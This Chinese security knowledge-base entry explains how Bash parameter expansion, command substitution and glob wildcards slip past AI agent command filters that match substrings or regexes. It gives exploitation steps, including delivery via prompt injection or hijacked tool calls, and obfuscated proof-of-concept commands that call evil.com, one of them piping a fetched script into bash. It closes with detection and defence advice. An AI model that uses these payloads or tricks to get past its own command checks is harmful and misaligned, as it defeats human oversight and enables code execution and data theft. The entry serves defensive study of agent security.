♧ Godown 安全知识树

Bash 参数展开与通配符混淆绕过 Agent 命令检测:子串/正则与 Shell 解析深度差

ai-security/agent-security · verified

一句话结论

Agent 命令检测层如果用 Python str.in/正则对命令原文做子串匹配,攻击者可以用 Bash 参数展开(${c:-curl})、命令替换($(echo c)...)或通配符(/???/??? → /bin/sh)把敏感关键字拆散或延迟到执行期展开;检测层看到的是无害字面量,Bash 执行的是完整恶意命令,形成“检测层看不懂、执行层照跑”的绕过。

原理

  • Bash 的解析阶段:Bash 执行一条命令要经过词法分析 → 解析成 AST → 展开(花括号、波浪号、参数、命令替换、算术)→ 分词 → 路径展开(glob)→ 引号去除 → 执行。敏感关键字可以在展开阶段才出现。
  • 检测层的浅层匹配:pattern.lower() in cmd.lower() 或正则只把命令当字节序列做子串/模式匹配,不执行任何展开;它看到 ${c:-curl} -X POST http://evil.com 时,字符串里没有连续的 curl -X POST,判定安全。
  • 参数展开:${var:-default} 在变量未定义时取默认值,${var:+alternate}、${var:=assign}、${var:offset:length}、${var#pattern}、${var/pat/repl}、${!var} 等都能把关键字拆开或动态拼出;可嵌套 ${a:-${b:-curl}}。
  • 命令替换:$(echo c)$(echo u)$(echo r)$(echo l) 拼接为 curl;反引号同理;$((3+3)) 算术展开可生成数字。
  • 通配符 Glob:? 匹配任意单字符、* 匹配任意多字符、[abc] 匹配字符集;/???/??? 在文件系统上展开为 /bin/sh、/bin/ls 等,/????/???? 可匹配 /bin/bash 等。展开发生在执行前的阶段 5,检测层不访问文件系统,无法知道最终路径。
  • 计算能力差异:子串/正则属于正则语言级别,Bash 是图灵完备解释器;用低计算能力的检测器防御高计算能力的执行器,理论上存在无限多逃逸方式。SQL 注入(正则 vs SQL 引擎)、Prompt 注入(关键词黑名单 vs 自然语言)是同类问题。
  • 与 LLM 语义层的关系:文章实测静态规则被参数展开/通配符绕过;第二层 LLM“意图-命令一致性”分析能拦截大多数此类载荷,但静态层单独存在时不可靠。

触发条件

  • Agent 的命令检测/拦截层基于命令字符串的子串、正则或关键字黑名单,且没有先做 Shell 解析/展开。
  • 攻击者能控制 Agent 执行的命令字符串(如中转站篡改 tool_use、提示注入、工具参数注入)。
  • 目标环境是 Bash/sh(Bash 3.2–5.2 均支持这些标准语义),且命令最终由 shell 执行。
  • 检测层没有第二层语义/意图分析,或语义层可被进一步绕过。
  • 执行环境允许访问 /bin、/usr/bin 等路径,glob 才能展开到解释器。

利用步骤

  1. 探测检测规则:先发送字面 curl http://evil、/bin/sh 等,观察是否被拦截/告警,判断匹配的是子串还是正则。
  2. 用无害 echo 验证 Bash 展开语义:echo ${c:-curl}、echo ${PATH:0:4}、echo /???/???,确认目标 shell 版本支持。
  3. 构造混淆载荷:${c:-curl} -X POST http://evil.com、$(echo c)$(echo u)$(echo r)$(echo l) http://evil、/???/??? -c 'id'。
  4. 通过可控入口(中转 tool_use、提示注入、参数注入)投递;静态检测层未命中则放行。
  5. Agent 执行时 Bash 展开为完整命令;用写文件/外带/DNS 等确认执行。
  6. 若被 LLM 语义层拦截,尝试嵌套展开、命令替换、变量间接引用、base64 解码管道等更复杂变体,或改用其他绕过面。

PoC

# 参数展开:检测层看不到连续的 curl
${c:-curl} -X POST http://evil.com

# 命令替换拼接
$(echo c)$(echo u)$(echo r)$(echo l) http://evil.com

# 嵌套参数展开(默认值中包含另一层展开)
${a:-${b:-curl}} http://evil.com

# 通配符:执行前展开为 /bin/sh
/???/??? -c 'id'

# 更长的解释器路径
/????/???? -c 'curl http://evil.com/c2.sh | bash'
检测层(Python 子串匹配):
  "${c:-curl} -X POST http://evil.com" 中找不到 "curl -x post" -> 放行
  "/???/???" 中找不到 "/bin/sh" -> 放行

Bash 执行层:
  ${c:-curl} -> curl
  /???/???   -> /bin/sh
  -> 实际执行 curl -X POST http://evil.com / /bin/sh -c 'id'

变体与关联

  • 展开语法变体:${var:-}、${var:+}、${var:=}、${var:offset:length}、${var#}、${var%}、${var/}、${!var}、$((...))、$(...)、反引号、花括号 {a,b}、波浪号 ~。
  • 通配符变体:/???/???、/????/????、/bin/??、/usr/bin/*sh、字符集 [abc];可结合当前工作目录的相对 glob。
  • 编码变体:$'\x63\x75\x72\x6c' ANSI-C 引用、base64/xxd 解码后管道给 sh、printf 构造字符串、eval。
  • 关联:[[ai-security-agent-security-path-denylist-quoted-variable-expansion-bypass]](同一“字符串匹配 vs Shell 解析”原理在路径黑名单上的变体)、[[ai-security-agent-security-llm-relay-baseurl-tool-call-hijack]](投递混淆命令的入口)、[[ai-security-agent-security-sse-chunked-smuggling-tool-detection-bypass]](协议层让检测看不到完整命令的另一种绕过)。
  • 边界:检测层若使用 Bash AST 解析(bashlex/tree-sitter-bash)、命令白名单、沙箱 seccomp 或 LLM 语义分析,单一展开/glob 载荷可能被拦截;需要组合变体或换攻击面。

检测与防御

  • 按解析结果检测:用 Bash 解析器(bashlex、tree-sitter-bash)得到 AST/argv,展开变量与 glob 后再做白名单/危险参数检查;不要只对原始字符串做子串/正则。
  • 命令白名单:只允许明确的命令与参数模式;对 sh -c、bash -c、eval、命令替换、管道到解释器等高风险结构直接拒绝或强制人工确认。
  • 第二层语义分析:用 LLM 做“用户意图 vs 实际命令”一致性判断,作为静态规则的补充;但 LLM 也可能被更复杂的混淆欺骗,需结合 AST。
  • 执行隔离:Bash 工具运行在容器/沙箱中,限制可执行路径、网络与文件系统;高危命令强制 HITL。
  • 检测信号:命令中出现 ${...}、$(...)、反引号、$'...'、/??? 等展开/glob 特征;同一会话先探测字面命令再改用混淆写法;静态层放行但 Agent 执行了外连/敏感操作。
  • 回归测试:把参数展开、命令替换、glob、编码、嵌套组合加入检测器测试集;不要只测字面 payload。